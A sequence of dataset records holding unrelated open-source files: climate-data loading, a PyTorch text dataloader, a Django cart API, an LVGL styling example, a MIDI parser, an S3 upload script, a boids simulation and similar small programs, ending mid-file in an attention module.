there's only one set of vars, we get the first\n # and only set of vars from the dictionary.\n vars_to_get = list(vars_to_func_dict.keys())[0]\n\n variables = [data_file(var)(squeeze=1) for var in vars_to_get]\n\n return variables\n\n def _get_func(self, vars_to_func_dict):\n \"\"\"\n Get the function from the first and only entry in vars_to_func_dict,\n which is in the form {(vars): func}.\n \"\"\"\n for k in vars_to_func_dict:\n return vars_to_func_dict[k]\n\n def _get_timeseries_var(self, data_path, extra_vars_only=False):\n \"\"\"\n For a given season and timeseries input data,\n get the variable (self.var).\n\n If self.extra_vars is also defined, get them as well.\n \"\"\"\n # Can't iterate through self.var and self.extra_vars as we do in _get_climo_var()\n # b/c the extra_vars must be taken from the same timeseries file as self.var.\n # So once we got a working vars_to_func_dict, we need to use this to get the extra_vars.\n\n return_variables = []\n\n # If it's a derived var, get that.\n if self.var in self.derived_vars:\n # Ex: {('PRECC', 'PRECL'): func, ('pr'): func1, ...}, is an OrderedDict.\n possible_vars_and_funcs = self.derived_vars[self.var]\n\n # Get the first valid variables and functions from possible vars.\n # Ex: {('PRECC', 'PRECL'): func}\n # These are checked, so there are valid timeseries files in data_path for these variables.\n vars_to_func_dict = self._get_first_valid_vars_timeseries(\n possible_vars_and_funcs, data_path\n )\n\n # We do want the self.var.\n if not extra_vars_only:\n # Open the files of the variables and get the cdms2.TransientVariables.\n # Ex: [PRECC, PRECL], where both are TransientVariables.\n variables = self._get_original_vars_timeseries(\n vars_to_func_dict, data_path\n )\n\n # Get the corresponding function.\n # Ex: The func in {('PRECC', 'PRECL'): func}.\n func = self._get_func(vars_to_func_dict)\n\n # Call the function with the variables.\n derived_var = func(*variables)\n return_variables.append(derived_var)\n\n # Add any extra variables.\n # For a variable that is a derived variable, get all of the extra variables\n # from the 'first' original var.\n # Ex: We have {('PRECC', 'PRECL'): func} for PRECT.\n # Any extra variables must come from PRECC_{start_yr}01_{end_yr}12.nc.\n first_orig_var = list(vars_to_func_dict.keys())[0][0]\n for extra_var in self.extra_vars:\n v = self._get_var_from_timeseries_file(\n first_orig_var, data_path, var_to_get=extra_var\n )\n return_variables.append(v)\n\n # Or if the timeseries file for the var exists, get that.\n elif self._get_timeseries_file_path(self.var, data_path):\n # We do want the self.var.\n if not extra_vars_only:\n # Find {var}_{start_yr}01_{end_yr}12.nc in data_path and get var from it.\n v = self._get_var_from_timeseries_file(self.var, data_path)\n return_variables.append(v)\n\n # Also get any extra vars.\n for extra_var in self.extra_vars:\n v = self._get_var_from_timeseries_file(\n self.var, data_path, var_to_get=extra_var\n )\n return_variables.append(v)\n\n # Otherwise, there's an error.\n else:\n msg = \"Variable '{}' doesn't have a file in the\".format(self.var)\n msg += \" directory {}, nor was\".format(data_path)\n msg += \" it defined in the derived variables dictionary.\"\n raise RuntimeError(msg)\n\n return return_variables\n\n def _get_first_valid_vars_timeseries(self, vars_to_func_dict, data_path):\n \"\"\"\n Given an OrderedDict of a list of variables to a function\n ex: {('PRECC', 'PRECL'): func, ('var2',): func2},\n return the first valid {(vars): func} where the vars are variables from files in the form:\n {var}_{start_yr}01_{end_yr}12.nc\n located in data_path.\n\n If none of the derived variables work, we try to just get self.var in a file like:\n {self.var}_{start_yr}01_{end_yr}12.nc\n located in data_path.\n \"\"\"\n possible_vars = list(\n vars_to_func_dict.keys()\n ) # ex: [('pr',), ('PRECC', 'PRECL')]\n\n for list_of_vars in possible_vars:\n # Check that there are files in data_path that exist for all variables in list_of_vars.\n if all(\n self._get_timeseries_file_path(var, data_path) for var in list_of_vars\n ):\n # All of the variables (list_of_vars) have files in data_path.\n # Return the corresponding dict.\n return {list_of_vars: vars_to_func_dict[list_of_vars]}\n\n # None of the entries in the derived vars dictionary are valid,\n # so try to get the var directly.\n # Only try this if there is a corresponding file for var in data_path.\n if self._get_timeseries_file_path(self.var, data_path):\n # The below will just cause var to get extracted in {var}_{start_yr}01_{end_yr}12.nc.\n return {(self.var,): lambda x: x}\n\n # Otherwise, there's no way to get the variable.\n msg = \"Neither does {} nor the variables in {}\".format(self.var, possible_vars)\n msg += \" have valid files in {}.\".format(data_path)\n raise RuntimeError(msg)\n\n def _get_timeseries_file_path(self, var, data_path):\n \"\"\"\n Returns the file path if a file exists in data_path in the form:\n {var}_{start_yr}01_{end_yr}12.nc\n Or\n {self.parameters.ref_name}/{var}_{start_yr}01_{end_yr}12.nc\n This is equivalent to returning True if the file exists.\n\n If there are multiple files that exist for a variable\n (with different start_yr or end_yr), return ''.\n This is equivalent to returning False.\n \"\"\"\n # Get all of the nc file paths in data_path.\n\n # path = os.path.join(data_path, '*.nc')\n path = os.path.join(data_path, \"*.*\")\n files = sorted(glob.glob(path))\n\n # Both .nc and .xml files are supported\n file_fmt = \"\"\n if len(files) > 0:\n file_fmt = files[0].split(\".\")[-1]\n\n # Everything between '{var}_' and '.nc' in a\n # time-series file is always 13 characters.\n if self.parameters.sets[0] in [\"arm_diags\"]:\n site = getattr(self.parameters, \"regions\", \"\")\n re_str = var + \"_\" + site[0] + r\"_.{13}.\" + file_fmt\n else:\n re_str = var + r\"_.{13}.\" + file_fmt\n re_str = os.path.join(data_path, re_str)\n matches = [f for f in files if re.search(re_str, f)]\n\n if len(matches) == 1:\n return matches[0]\n elif len(matches) >= 2:\n msg = \"For the variable {} you have two timeseries files in the \".format(\n var\n )\n msg += \"directory: {} This currently isn't supported.\".format(data_path)\n raise RuntimeError(msg)\n\n # If nothing was found, try looking for the file with\n # the ref_name prepended to it.\n ref_name = getattr(self.parameters, \"ref_name\", \"\")\n # path = os.path.join(data_path, ref_name, '*.nc')\n path = os.path.join(data_path, ref_name, \"*.*\")\n files = sorted(glob.glob(path))\n # Both .nc and .xml files are supported\n file_fmt = \"\"\n if len(files) > 0:\n file_fmt = files[0].split(\".\")[-1]\n\n # Everything between '{var}_' and '.nc' in a\n # time-series file is always 13 characters.\n re_str = var + r\"_.{13}.\" + file_fmt\n re_str = os.path.join(data_path, ref_name, re_str)\n matches = [f for f in files if re.search(re_str, f)]\n # Again, there should only be one file per var in this new location.\n if len(matches) == 1:\n return matches[0]\n elif len(matches) >= 2:\n msg = \"For the variable {} you have two timeseries files in the \".format(\n var\n )\n msg += \"directory: {} This currently isn't supported.\".format(data_path)\n raise RuntimeError(msg)\n else:\n return \"\"\n\n def _get_original_vars_timeseries(self, vars_to_func_dict, data_path):\n \"\"\"\n Given a dictionary in the form {(vars): func}, get the vars\n from files in data_path as cdms2.TransientVariables.\n\n These vars were checked to actually be in\n data_path in _get_first_valid_vars_timeseries().\n \"\"\"\n # Since there's only one set of vars, we get the first\n # and only set of vars from the dictionary.\n vars_to_get = list(vars_to_func_dict.keys())[0]\n\n variables = []\n for var in vars_to_get:\n v = self._get_var_from_timeseries_file(var, data_path)\n variables.append(v)\n\n return variables\n\n def _get_var_from_timeseries_file(self, var, data_path, var_to_get=\"\"):\n \"\"\"\n Get the actual var from the timeseries file for var.\n If var_to_get is defined, get that from the file instead of var.\n\n This function is only called after it's checked that a file\n for this var exists in data_path.\n The checking is done in _get_first_valid_vars_timeseries().\n \"\"\"\n (\n start_year,\n end_year,\n sub_monthly,\n ) = self.get_start_and_end_years()\n if sub_monthly:\n start_time = \"{}-01-01\".format(start_year)\n end_time = \"{}-01-01\".format(str(int(end_year) + 1))\n slice_flag = \"co\"\n else:\n start_time = \"{}-01-15\".format(start_year)\n end_time = \"{}-12-15\".format(end_year)\n slice_flag = \"ccb\"\n\n fnm = self._get_timeseries_file_path(var, data_path)\n\n var = var_to_get if var_to_get else var\n\n # get available start and end years from file name: {var}_{start_yr}01_{end_yr}12.nc\n start_year = int(start_year)\n end_year = int(end_year)\n var_start_year = int(fnm.split(\"/\")[-1].split(\"_\")[-2][:4])\n var_end_year = int(fnm.split(\"/\")[-1].split(\"_\")[-1][:4])\n\n if start_year < var_start_year:\n msg = \"Invalid year range specified for test/reference time series data: start_year={}<{}=var_start_yr\".format(\n start_year, var_start_year\n )\n raise RuntimeError(msg)\n elif end_year > var_end_year:\n msg = \"Invalid year range specified for test/reference time series data: end_year={}>{}=var_end_yr\".format(\n end_year, var_end_year\n )\n raise RuntimeError(msg)\n else:\n # with cdms2.open(fnm) as f:\n # var_time = f(var, time=(start_time, end_time, 'ccb'))(squeeze=1)\n # return var_time\n # For xml files using above with statement won't work because the Dataset object returned doesn't have attribute __enter__ for content management.\n fin = cdms2.open(fnm)\n var_time = fin(var, time=(start_time, end_time, slice_flag))(squeeze=1)\n fin.close()\n return var_time\n","repo_name":"E3SM-Project/e3sm_diags","sub_path":"e3sm_diags/driver/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":28613,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"30"} +{"seq_id":"74523289366","text":"import os\nfrom io import open\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\n# import numpy as np\n# import matplotlib.pyplot as plt\n\n\n# Dictionary to store all words and their indices\nclass Dictionary(object):\n def __init__(self):\n self.word2idx = {}\n self.idx2word = []\n\n def add_word(self, word):\n if word not in self.word2idx:\n self.idx2word.append(word)\n self.word2idx[word] = len(self.idx2word) - 1\n return self.word2idx[word]\n\n def __len__(self):\n return len(self.idx2word)\n\n\n# Tokenize given texts\ndef tokenize(dictionary, path):\n \"\"\"Tokenizes a text file.\"\"\"\n assert os.path.exists(path)\n # Add words to the dictionary\n with open(path, 'r', encoding=\"utf8\") as f:\n for line in f:\n words = line.split() + ['']\n for word in words:\n dictionary.add_word(word)\n\n # Tokenize file content\n with open(path, 'r', encoding=\"utf8\") as f:\n idss = []\n for line in f:\n words = line.split() + ['']\n ids = []\n for word in words:\n ids.append(dictionary.word2idx[word])\n idss += ids\n\n return dictionary, idss\n\n\nclass WikiTextData(Dataset):\n \"\"\" WikiText Dataset \"\"\"\n def __init__(self, args, tks_file):\n self.initial_preprocess = args.initial_preprocess\n self.n_gram = args.n_gram\n self.tokens_file = tks_file\n if self.initial_preprocess:\n self.length = len(tks_file) // (args.n_gram+1)\n else:\n self.length = len(tks_file) - args.n_gram\n\n # EDA: plot frequency\n # tks = np.array(tks_file)\n # unique, counts = np.unique(tks, return_counts=True)\n # counts = counts[::-1]\n #\n # fig, axs = plt.subplots(2, 1)\n # axs[0].plot(counts)\n # axs[0].set_ylabel('Frequency')\n # axs[0].grid(True)\n #\n # axs[1].plot(np.log(counts))\n # axs[1].set_ylabel('Frequency in log')\n # axs[1].set_xlabel('Words / tokens')\n # axs[1].grid(True)\n #\n # fig.tight_layout()\n # plt.show()\n\n def __len__(self):\n return self.length\n\n def __getitem__(self, index):\n if self.initial_preprocess:\n return self.tokens_file[index * self.n_gram: (index+1) * self.n_gram], \\\n self.tokens_file[(index+1) * self.n_gram]\n else:\n return self.tokens_file[index: index+self.n_gram], self.tokens_file[index+self.n_gram]\n\n\ndef collate_fn(insts):\n \"\"\" Batch preprocess \"\"\"\n seq_tokens_batch, tgt_tokens_batch = list(zip(*insts))\n\n seq_tokens_batch = torch.LongTensor(seq_tokens_batch)\n tgt_tokens_batch = torch.LongTensor(tgt_tokens_batch)\n return seq_tokens_batch, tgt_tokens_batch\n\n\ndef get_dataloader(args, no_dataloader=False):\n \"\"\" Get dataloader and dictionary \"\"\"\n my_dict = Dictionary()\n\n my_dict, train_data = tokenize(my_dict, path=os.path.join(args.path_data, 'train.txt'))\n my_dict, valid_data = tokenize(my_dict, path=os.path.join(args.path_data, 'valid.txt'))\n my_dict, test_data = tokenize(my_dict, path=os.path.join(args.path_data, 'test.txt'))\n\n if no_dataloader:\n # For generation and similarity calculation quest which do not need dataloader\n return my_dict\n\n train_loader = DataLoader(WikiTextData(args, train_data), batch_size=args.batch_size,\n num_workers=args.num_worker, collate_fn=collate_fn, shuffle=True)\n valid_loader = DataLoader(WikiTextData(args, valid_data), batch_size=args.batch_size,\n num_workers=args.num_worker, collate_fn=collate_fn, shuffle=True)\n test_loader = DataLoader(WikiTextData(args, test_data), batch_size=args.batch_size, num_workers=args.num_worker,\n collate_fn=collate_fn, shuffle=True)\n return my_dict, train_loader, valid_loader, test_loader\n\n","repo_name":"DiMarzioBian/Neural-Probabilistic-Language-Model-NIPS-2000","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"3220441844","text":"# this script loads a list of codes from a file as goods with a given offer_id\n# usage: python3 load_goods.py \nimport json\nimport sys\nimport requests\n\ndef load_goods(filename, offer_id):\n print('reading file: %s' % filename)\n url = 'http://localhost:80/internal/good/add'\n headers = {\"Content-Type\": \"application/json\"}\n lines = tuple(open(filename, 'r'))\n payload = \"\"\"{\"offer_id\": \"%s\", \"good_type\": \"code\", \"value\": \"%s\"}\"\"\"\n for code in lines:\n inner_payload = payload % (offer_id, code.rstrip())\n print('posting payload: %s' % inner_payload)\n requests.post(url, headers=headers, json=json.loads(inner_payload))\n\nif __name__==\"__main__\":\n load_goods(sys.argv[1], sys.argv[2])","repo_name":"kinecosystem/kin-app-server","sub_path":"kinappserver/helpers/load_goods.py","file_name":"load_goods.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"30"} +{"seq_id":"23945307428","text":"import pytest\n\n\n@pytest.fixture(scope='function')\ndef inventory_function_fixture(management):\n malware_name = \"DynamicCodeTests.exe\"\n test_im_params = {\"eventName\": malware_name}\n\n test_resources = {\n 'management': management,\n 'test_im_params': test_im_params\n }\n yield test_resources\n\n management.ui_client.collectors.move_between_organizations(data=test_im_params.update({\"organizationName\": \"Default\"}))\n","repo_name":"mosheavidor1/qa-automtion-ng","sub_path":"tests/inventory_tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42769375820","text":"from rest_framework import generics,mixins\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\n\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect, Http404, JsonResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic.base import View\nfrom django.views.generic.detail import SingleObjectMixin, DetailView\nfrom django.views.generic.edit import FormMixin\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\n\nfrom products.models import Variation\n\n\nfrom .models import Cart, CartItem\nfrom .serializers import CartDetailSerializer,UserCartSerializer\nfrom django.core.exceptions import ObjectDoesNotExist \n\n\nclass CartView(APIView):\n def get(self, request):\n cart_id = self.request.query_params.get(\"cart_id\",None)\n if cart_id == None or cart_id==\"-1\":\n print(\"in cart guest\")\n cart = Cart()\n cart.tax_percentage = 0.075\n cart.save()\n cart_id = cart.id\n cart = Cart.objects.get(id=int(cart_id))\n # if request.user.is_authenticated():\n # cart.user = request.user\n # cart.save()\n item_id = request.query_params.get(\"item\",None)\n delete_item = request.query_params.get(\"delete\", False)\n flash_message = \"\"\n item_added = False\n if item_id:\n item_instance = get_object_or_404(Variation, id=item_id)\n qty = request.query_params.get(\"qty\", 1)\n try:\n if int(qty) < 1:\n delete_item = True\n except:\n raise Http404\n cart_item, created = CartItem.objects.get_or_create(cart=cart, item=item_instance)\n if created:\n flash_message = \"Successfully added to the cart\"\n item_added = True\n if delete_item==None or delete_item=='true' or delete_item==True:\n flash_message = \"Item removed successfully.\"\n cart_item.delete()\n else:\n if not created:\n flash_message = \"Quantity has been updated successfully.\"\n cart_item.quantity = qty\n cart_item.save()\n try:\n total = cart_item.line_item_total\n except:\n total = None\n try:\n subtotal = cart_item.cart.subtotal\n except:\n subtotal = None\n\n try:\n cart_total = cart_item.cart.total\n except:\n cart_total = None\n\n try:\n tax_total = cart_item.cart.tax_total\n except:\n tax_total = None\n\n try:\n total_items = cart_item.cart.items.count()\n except:\n total_items = 0\n\n data = {\n \"deleted\": delete_item, \n \"item_added\": item_added,\n \"line_total\": total,\n \"subtotal\": subtotal,\n \"cart_total\": cart_total,\n \"tax_total\": tax_total,\n \"flash_message\": flash_message,\n \"total_items\": total_items,\n \"cart_id\":cart_id,\n }\n return Response(data)\n try:\n cart_item = CartItem.objects.filter(cart=cart)\n except ObjectDoesNotExist:\n cart_item=None\n\n serializer= UserCartSerializer(cart_item,many=True,context={'request':request})\n return Response(serializer.data)\n\nclass ItemCountView(APIView):\n def get(self, request):\n cart_id = self.request.session.get(\"cart_id\")\n if cart_id == None:\n count = 0\n else:\n cart = Cart.objects.get(id=cart_id)\n count = cart.items.count()\n return Response({\"count\": count})\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"sahilharjai/SimpleKart-Backend","sub_path":"ecommerce/carts/views_api.py","file_name":"views_api.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29812606225","text":"import mapleleaf\r\nfrom memory import Memory\r\n\r\nclass Interpreter:\r\n memory = Memory()\r\n def interpret(self, statements):\r\n try:\r\n for statement in statements:\r\n statement.execute()\r\n except RuntimeError as e:\r\n mapleleaf.report_runtime_error(e)","repo_name":"peterg98/mapleleaf","sub_path":"mapleleaf/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"31236439364","text":"#\n# Create styles from scratch for buttons.\n#\nstyle_button = lv.style_t()\nstyle_button_red = lv.style_t()\nstyle_button_pressed = lv.style_t()\n\n# Create a simple button style\nstyle_button.init()\nstyle_button.set_radius(10)\nstyle_button.set_bg_opa(lv.OPA.COVER)\nstyle_button.set_bg_color(lv.palette_lighten(lv.PALETTE.GREY, 3))\nstyle_button.set_bg_grad_color(lv.palette_main(lv.PALETTE.GREY))\nstyle_button.set_bg_grad_dir(lv.GRAD_DIR.VER)\n\n# Add a border\nstyle_button.set_border_color(lv.color_white())\nstyle_button.set_border_opa(lv.OPA._70)\nstyle_button.set_border_width(2)\n\n# Set the text style\nstyle_button.set_text_color(lv.color_white())\n\n# Create a red style. Change only some colors.\nstyle_button_red.init()\nstyle_button_red.set_bg_color(lv.palette_main(lv.PALETTE.RED))\nstyle_button_red.set_bg_grad_color(lv.palette_lighten(lv.PALETTE.RED, 2))\n\n# Create a style for the pressed state.\nstyle_button_pressed.init()\nstyle_button_pressed.set_bg_color(lv.palette_main(lv.PALETTE.BLUE))\nstyle_button_pressed.set_bg_grad_color(lv.palette_darken(lv.PALETTE.RED, 3))\n\n# Create a button and use the new styles\nbutton = lv.button(lv.screen_active()) # Add a button the current screen\n# Remove the styles coming from the theme\n# Note that size and position are also stored as style properties\n# so lv_obj_remove_style_all will remove the set size and position too\nbutton.remove_style_all() # Remove the styles coming from the theme\nbutton.set_pos(10, 10) # Set its position\nbutton.set_size(120, 50) # Set its size\nbutton.add_style(style_button, 0)\nbutton.add_style(style_button_pressed, lv.STATE.PRESSED)\n\nlabel = lv.label(button) # Add a label to the button\nlabel.set_text(\"Button\") # Set the labels text\nlabel.center()\n\n# Create a slider in the center of the display\nslider = lv.slider(lv.screen_active())\nslider.set_width(200) # Set the width\nslider.center() # Align to the center of the parent (screen)\n\n# Create another button and use the red style too\nbutton2 = lv.button(lv.screen_active())\nbutton2.remove_style_all() # Remove the styles coming from the theme\nbutton2.set_pos(10, 80) # Set its position\nbutton2.set_size(120, 50) # Set its size\nbutton2.add_style(style_button, 0)\nbutton2.add_style(style_button_red, 0)\nbutton2.add_style(style_button_pressed, lv.STATE.PRESSED)\nbutton2.set_style_radius(lv.RADIUS_CIRCLE, 0) # Add a local style\n\nlabel = lv.label(button2) # Add a label to the button\nlabel.set_text(\"Button 2\") # Set the labels text\nlabel.center()\n\n","repo_name":"lvgl/lvgl","sub_path":"examples/get_started/lv_example_get_started_3.py","file_name":"lv_example_get_started_3.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","stars":13681,"dataset":"github-code","pt":"30"} +{"seq_id":"29639561136","text":"import argparse\nfrom mido import MidiFile\nimport json\n\ndef parse_midi(file, track, meta_track=None):\n mid = MidiFile(file, clip=True)\n tempo = 500000 # 120 BPM\n ticks_per_beat = mid.ticks_per_beat\n\n tempos_at_ticks = {}\n if meta_track is not None:\n ticks = 0\n for msg in mid.tracks[meta_track]:\n if msg.type == 'set_tempo':\n print(msg)\n tempos_at_ticks[ticks] = msg.tempo\n ticks += msg.time\n\n notes, durations = [], []\n all_notes = []\n all_intervals = []\n active_notes = []\n last_was_note_on = False\n tick_count = 0\n total_64th_seconds = 0\n for msg in mid.tracks[track]:\n tick_count += msg.time\n if len(tempos_at_ticks) > 0:\n tempo_ix = max([k for k in tempos_at_ticks.keys() if k <= tick_count])\n tempo = tempos_at_ticks[tempo_ix]\n print(tick_count, tempo)\n\n if msg.type == 'set_tempo':\n print(msg)\n tempo = msg.tempo\n delta_ticks = msg.time\n delta_microseconds = tempo * delta_ticks / ticks_per_beat\n delta_seconds = delta_microseconds / (1000 ** 2)\n delta_64th_second = round(delta_seconds * 64)\n total_64th_seconds += delta_64th_second\n\n if msg.type == 'note_on' and not msg.velocity == 0:\n active_notes.append((msg.note, total_64th_seconds))\n\n elif msg.type == \"note_off\" or (msg.type == 'note_on' and msg.velocity == 0):\n ixs = [ix for ix, x in enumerate(active_notes) if x[0] == msg.note]\n ix = ixs[0]\n tpl = active_notes.pop(ix)\n all_notes.append(tpl[0])\n all_intervals.append(set(range(tpl[1], total_64th_seconds + 1)))\n\n buffer_size = 10\n filtered_notes = []\n iou_threshold = 0.5\n for ix in range(len(all_intervals)):\n interval = all_intervals[ix]\n note = all_notes[ix]\n from_ix = max(0, ix - buffer_size)\n to_ix = ix + buffer_size + 1\n buffer_intervals = all_intervals[from_ix: ix] + all_intervals[ix + 1: to_ix]\n buffer_intervals_after = all_intervals[ix + 1: to_ix]\n overlaps = [len(interval.intersection(other)) for other in buffer_intervals]\n buffer_notes = all_notes[from_ix: ix] + all_notes[ix + 1: to_ix]\n buffer_notes_after = all_notes[ix + 1: to_ix]\n ious = [len(interval.intersection(other)) / len(interval) for other in buffer_intervals]\n ious_after = [len(interval.intersection(other)) / len(interval) for other in buffer_intervals_after]\n \n large_iou_ixs = [ix for ix, x in enumerate(ious) if x > iou_threshold]\n cont = False\n for iou_ix in large_iou_ixs:\n if note < buffer_notes[iou_ix]:\n cont = True\n break\n if cont:\n continue\n nonzero_iou_ixs_after = [ix for ix, x in enumerate(ious_after) if x > 0]\n earliest_start = max(interval)\n for iou_ix in nonzero_iou_ixs_after:\n if note < buffer_notes_after[iou_ix]:\n other_interval = buffer_intervals_after[iou_ix]\n earliest_start = min(min(other_interval), earliest_start)\n interval = set(range(min(interval), earliest_start + 1))\n assert len(interval) > 0\n filtered_notes.append((note, interval))\n\n notes, durations = [], []\n previous_max = None\n for note, interval in filtered_notes:\n if previous_max is not None:\n if min(interval) - previous_max > 0:\n notes.append(0)\n durations.append(min(interval) - previous_max - 1)\n notes.append(note)\n durations.append(max(interval) - min(interval))\n previous_max = max(interval)\n return notes, durations\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--file', '-f')\n parser.add_argument('--track-id', '-t', type=int, default=0)\n parser.add_argument('--meta-track', '-m', type=int, default=None)\n parser.add_argument('--out-file', '-o', type=str, default='out.json')\n\n args = parser.parse_args()\n notes, durations = parse_midi(args.file, args.track_id, args.meta_track)\n\n with open(args.out_file, 'w') as f:\n json.dump({\n 'notes': notes,\n 'durations': durations\n }, f)\n print(f'Successfully wrote output to {args.out_file}')","repo_name":"danielzuegner/roomba_control","sub_path":"midi_to_roomba.py","file_name":"midi_to_roomba.py","file_ext":"py","file_size_in_byte":4383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"4934587855","text":"# turkalp burak kayrancioglu - 150101011\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# sigmoid fonksiyonu\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\nX = np.linspace(-5, 5, 100)\nplt.plot(X, sigmoid(X), 'b')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.title('Sigmoid Fonksiyonu')\nplt.grid()\nplt.text(4, 0.8, r'$\\sigmoid(x)=\\frac{1}{1+e^{-x}}$', fontsize=16)\nplt.show()\n","repo_name":"bkayranci/ann-activation-function","sub_path":"sigmoid.py","file_name":"sigmoid.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36766344995","text":"# upload-backup-to-aws.py\n# POC (Mariusz Byczynski)\n\n\n# this code upload previously backuped wordpress file to AWS S3 bucket\n# AWS bucket should be created with versioning option\n\n\nimport boto3\ns3 = boto3.resource(\"s3\")\ndata = open(\"iamtest.txt\", \"rb\")\ns3.Bucket(\"byczynm1-backup\").put_object(Key=\"test.txt\", Body=data)\n","repo_name":"byczynm1/poc_terra1","sub_path":"task2/upload-backup-to-aws.py","file_name":"upload-backup-to-aws.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"19388568483","text":"# To get a feel for how particular terms are being used differently over time, \n# I want to pull characteristic examples of term usages for a particular month. \n# These will be the most likely comments (on some metric) containing the target\n# term(s) for the month.\nfrom settings import *\nimport pandas as pd\nfrom scipy import stats\nfrom language_models import VectorSpaceModel\nimport shutil\n\ndef get_examples(year, month, terms):\n with open(get_month_corpus_filepath(year, month)) as corpus:\n return [c for c in corpus if any(term in c for term in terms)]\n\ndef get_characteristic_examples(year, month, terms, model=None, baseline_model=None, n=20, print_examples=True):\n model = model or VectorSpaceModel.monthly_word2vec(year, month)\n baseline_model = baseline_model or VectorSpaceModel(INITIAL_MODEL)\n comments = get_examples(year, month, terms)\n examples = pd.DataFrame({'comment': comments, 'score': model.score(comments)})\n examples = examples.assign(baseline=baseline_model.score(comments))\n examples = examples.assign(delta=examples.score - examples.baseline)\n examples = examples.sort_values('score', ascending=False)\n examples.to_csv(get_characteristic_examples_filepath(year, month, terms))\n if print_examples:\n show_characteristic_examples(year, month, terms, n)\n return examples\n\ndef show_characteristic_examples(year, month, terms, n=20, sort_by='delta', comment_length=None, \n min_length=30, omit_comments_with_links=True):\n comment_length = comment_length or shutil.get_terminal_size()[0] - 20\n examples = pd.read_csv(get_characteristic_examples_filepath(year, month, terms))\n if omit_comments_with_links: \n examples = examples[~examples.comment.str.contains(\"://\")]\n if min_length:\n examples = examples[examples.comment.str.split().apply(lambda x: len(x)) >= min_length]\n if n:\n examples = examples[:n]\n print(\"\\nMost characteristic comments from {}-{} containing {} (sorted by {})\".format(\n year, month, ', '.join(terms), sort_by))\n for i, ex in examples.sort_values(sort_by, ascending=False).iterrows():\n print(\" - [{}] {}\".format(ex[sort_by], ex.comment.strip()[:comment_length]))\n","repo_name":"cproctor/language_games","sub_path":"src/local_meaning_analysis/characteristic_examples.py","file_name":"characteristic_examples.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"1711948858","text":"import pygame, sys\nfrom pygame.locals import *\nfrom bird import Bird\nimport random\n\npygame.init()\nDISPLAY_WIDTH = 500\nDISPLAY_HEIGHT = 300\nSCREEN = pygame.display.set_mode((DISPLAY_WIDTH, DISPLAY_HEIGHT))\nBIRDS = 10\n\npygame.display.set_caption('Boid Simulation')\nclock = pygame.time.Clock() \n\nentities = pygame.sprite.Group()\n\ndef pick_non_zero_int():\n choice = random.normalvariate(0,.5)\n if choice == 0:\n pick_non_zero_int()\n else:\n return choice\n\nfor i in range(1,BIRDS+1):\n b = Bird(\n position = (random.randint(100,DISPLAY_WIDTH),random.randint(100, DISPLAY_HEIGHT)),\n velocity = [pick_non_zero_int(),pick_non_zero_int()],\n size = 10,\n vision = 50\n )\n entities.add(b) \nforces = {\n 'separation': 0.001,\n 'alignment': 0.05,\n 'coherance': 0.05\n }\n\nwhile True: # main game loop\n SCREEN.fill((50,50,50))\n \n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n keys = pygame.key.get_pressed()\n if keys[pygame.K_UP]:\n forces['separation'] += 0.001\n print(forces)\n\n if keys[pygame.K_DOWN]:\n forces['separation'] -= 0.001\n print(forces)\n\n if keys[pygame.K_RIGHT]:\n forces['alignment'] += 0.001\n print(forces)\n if keys[pygame.K_LEFT]:\n forces['alignment'] -= 0.001\n print(forces)\n if keys[pygame.K_PERIOD]:\n forces['coherance'] += 0.001\n print(forces)\n if keys[pygame.K_COMMA]:\n forces['coherance'] -= 0.001\n print(forces)\n\n entities.update(entities,forces)\n entities.draw(SCREEN)\n clock.tick(60)\n pygame.display.update()\n ","repo_name":"M-Barrows/Boids","sub_path":"boid.py","file_name":"boid.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"22070237550","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass GlobalAttention(nn.Module):\n '''\n Global Attention mechanisms:\n * Bahdanau - https://arxiv.org/pdf/1409.0473\n * Luong - https://arxiv.org/pdf/1508.04025\n '''\n def __init__(self, query_size, key_size, g_size=8, alignment=None):\n super().__init__()\n\n if alignment is None:\n alignment = 'general'\n\n if 